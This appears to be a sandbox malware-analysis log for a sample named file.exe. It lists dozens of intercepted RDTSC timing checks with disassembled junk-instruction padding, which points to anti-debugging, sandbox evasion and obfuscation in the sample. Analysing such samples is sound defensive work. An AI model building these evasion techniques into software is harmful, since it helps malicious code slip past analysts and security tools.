Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54CC9 second address: B54CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B30D7C3A2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54E5E second address: B54E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F6B312295F2h 0x0000000a jp 00007F6B312295EEh 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B54E85 second address: B54EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e jmp 00007F6B30D7C3A9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5834E second address: B58354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E390 second address: B5E396 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E396 second address: B5E3BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295EDh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6B312295F8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B5E3BF second address: B5E3C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94D46 second address: B94D6B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6B31229608h 0x0000000e jmp 00007F6B312295F4h 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94D6B second address: B94D71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94F03 second address: B94F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9507F second address: B950AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Fh 0x00000007 jg 00007F6B30D7C396h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F6B30D7C3A5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B950AD second address: B950B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B950B2 second address: B950CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007F6B30D7C396h 0x0000000d jmp 00007F6B30D7C39Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B957CD second address: B95817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F6B312295EEh 0x00000013 popad 0x00000014 jbe 00007F6B312295EAh 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F6B312295F2h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B95ACB second address: B95AF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F6B30D7C3A4h 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B975BF second address: B975C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B975C3 second address: B975F4 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B30D7C396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F6B30D7C398h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jnc 00007F6B30D7C3ACh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B975F4 second address: B975FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B975FA second address: B975FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B975FE second address: B9761D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6B312295E6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F6B312295EEh 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A130 second address: B9A135 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A235 second address: B9A239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A239 second address: B9A25D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6B30D7C396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 pop edx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 ja 00007F6B30D7C39Ch 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A25D second address: B9A267 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6B312295ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A267 second address: B9A275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9A275 second address: B9A298 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 je 00007F6B312295E6h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 pushad 0x00000012 jmp 00007F6B312295EBh 0x00000017 push edi 0x00000018 pop edi 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9D866 second address: B9D884 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F6B30D7C39Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9D884 second address: B9D88E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0026 second address: 4EA003E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B30D7C3A4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA003E second address: 4EA0042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0042 second address: 4EA0094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F6B30D7C3A3h 0x00000011 pop esi 0x00000012 pushfd 0x00000013 jmp 00007F6B30D7C3A9h 0x00000018 adc cx, 8306h 0x0000001d jmp 00007F6B30D7C3A1h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0094 second address: 4EA009A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA009A second address: 4EA009E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA009E second address: 4EA00DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6B312295EFh 0x0000000e mov ebp, esp 0x00000010 jmp 00007F6B312295F6h 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F6B312295EAh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA00DD second address: 4EA00E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DA2 second address: 4E80DBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DBF second address: 4E80DC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DC5 second address: 4E80DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DC9 second address: 4E80DFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6B30D7C3A2h 0x00000014 mov si, 9591h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80DFD second address: 4E80E47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov ax, 9585h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F6B312295F0h 0x00000013 mov ebp, esp 0x00000015 jmp 00007F6B312295F0h 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F6B312295F7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80E47 second address: 4E80E4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80E4D second address: 4E80E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80E51 second address: 4E80E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED059C second address: 4ED05CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, cx 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6B312295F8h 0x0000000e push eax 0x0000000f jmp 00007F6B312295EBh 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 mov ebx, ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60116 second address: 4E60152 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6B30D7C3A0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6B30D7C39Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E60152 second address: 4E601A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B312295F1h 0x00000009 adc esi, 439716F6h 0x0000000f jmp 00007F6B312295F1h 0x00000014 popfd 0x00000015 jmp 00007F6B312295F0h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F6B312295EAh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601A1 second address: 4E601B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601B0 second address: 4E601C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B312295F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E601C8 second address: 4E6027D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx edi, ax 0x0000000e movzx ecx, di 0x00000011 popad 0x00000012 push dword ptr [ebp+04h] 0x00000015 pushad 0x00000016 push ebx 0x00000017 jmp 00007F6B30D7C39Ah 0x0000001c pop eax 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F6B30D7C3A1h 0x00000024 and si, FC76h 0x00000029 jmp 00007F6B30D7C3A1h 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007F6B30D7C3A0h 0x00000035 jmp 00007F6B30D7C3A5h 0x0000003a popfd 0x0000003b popad 0x0000003c popad 0x0000003d push dword ptr [ebp+0Ch] 0x00000040 jmp 00007F6B30D7C39Eh 0x00000045 push dword ptr [ebp+08h] 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007F6B30D7C39Dh 0x00000051 add si, B1E6h 0x00000056 jmp 00007F6B30D7C3A1h 0x0000005b popfd 0x0000005c mov bx, cx 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E602A3 second address: 4E602A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E602A7 second address: 4E602C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80B81 second address: 4E80B90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B312295EAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80645 second address: 4E80665 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80665 second address: 4E80678 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80512 second address: 4E8055B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f pushfd 0x00000010 jmp 00007F6B30D7C39Fh 0x00000015 sub ch, FFFFFFBEh 0x00000018 jmp 00007F6B30D7C3A9h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8055B second address: 4E80597 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6B312295F7h 0x00000009 sub si, 97CEh 0x0000000e jmp 00007F6B312295F9h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80597 second address: 4E805FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F6B30D7C3A7h 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f mov ebx, esi 0x00000011 push ecx 0x00000012 jmp 00007F6B30D7C3A7h 0x00000017 pop esi 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov eax, 06494197h 0x00000023 pushfd 0x00000024 jmp 00007F6B30D7C39Ch 0x00000029 and cx, 8D08h 0x0000002e jmp 00007F6B30D7C39Bh 0x00000033 popfd 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805FD second address: 4E80615 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B312295F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80615 second address: 4E80619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8031A second address: 4E8031E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8031E second address: 4E80324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80324 second address: 4E80374 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6B312295EEh 0x0000000f mov ebp, esp 0x00000011 jmp 00007F6B312295F0h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F6B312295F7h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9028F second address: 4E902A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B30D7C3A6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902A9 second address: 4E902AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902AD second address: 4E902C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6B30D7C39Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED050F second address: 4ED055D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push edx 0x0000000d pop ecx 0x0000000e push edx 0x0000000f pop ecx 0x00000010 popad 0x00000011 mov cl, bl 0x00000013 popad 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F6B312295EAh 0x0000001c add ah, FFFFFFC8h 0x0000001f jmp 00007F6B312295EBh 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov di, ax 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA03E5 second address: 4EA0418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F6B30D7C39Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0418 second address: 4EA0434 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0434 second address: 4EA04B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ecx, 46CACACBh 0x00000010 jmp 00007F6B30D7C3A0h 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 jmp 00007F6B30D7C3A0h 0x0000001d mov eax, dword ptr [ebp+08h] 0x00000020 pushad 0x00000021 mov edx, eax 0x00000023 mov bx, cx 0x00000026 popad 0x00000027 and dword ptr [eax], 00000000h 0x0000002a pushad 0x0000002b pushfd 0x0000002c jmp 00007F6B30D7C3A2h 0x00000031 or ax, F768h 0x00000036 jmp 00007F6B30D7C39Bh 0x0000003b popfd 0x0000003c push eax 0x0000003d push edx 0x0000003e call 00007F6B30D7C3A6h 0x00000043 pop eax 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E804C7 second address: 4E804DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295EAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov bx, ax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90EA8 second address: 4E90ED8 instructions: 0x00000000 rdtsc 0x00000002 mov edi, 304D0016h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push esi 0x0000000b jmp 00007F6B30D7C39Ah 0x00000010 mov dword ptr [esp], ebp 0x00000013 jmp 00007F6B30D7C3A0h 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90ED8 second address: 4E90EF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90EF5 second address: 4E90EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC07C5 second address: 4EC07DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B312295F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC07DD second address: 4EC081C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d jmp 00007F6B30D7C39Bh 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 call 00007F6B30D7C39Fh 0x0000001a mov bx, ax 0x0000001d pop esi 0x0000001e popad 0x0000001f xchg eax, ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov ecx, 650FF04Fh 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC081C second address: 4EC0899 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B312295F7h 0x00000008 movzx esi, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [775165FCh] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F6B312295F1h 0x0000001a and cx, 5996h 0x0000001f jmp 00007F6B312295F1h 0x00000024 popfd 0x00000025 mov ebx, ecx 0x00000027 popad 0x00000028 test eax, eax 0x0000002a jmp 00007F6B312295EAh 0x0000002f je 00007F6BA37FC6D2h 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F6B312295F7h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0899 second address: 4EC08CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b pushad 0x0000000c mov edx, eax 0x0000000e push eax 0x0000000f mov cx, bx 0x00000012 pop edi 0x00000013 popad 0x00000014 xor eax, dword ptr [ebp+08h] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c mov edi, ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC08CC second address: 4EC08DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B312295EEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC08DE second address: 4EC08E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC08E2 second address: 4EC08F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and ecx, 1Fh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6B312295EAh 0x00000012 rdtsc
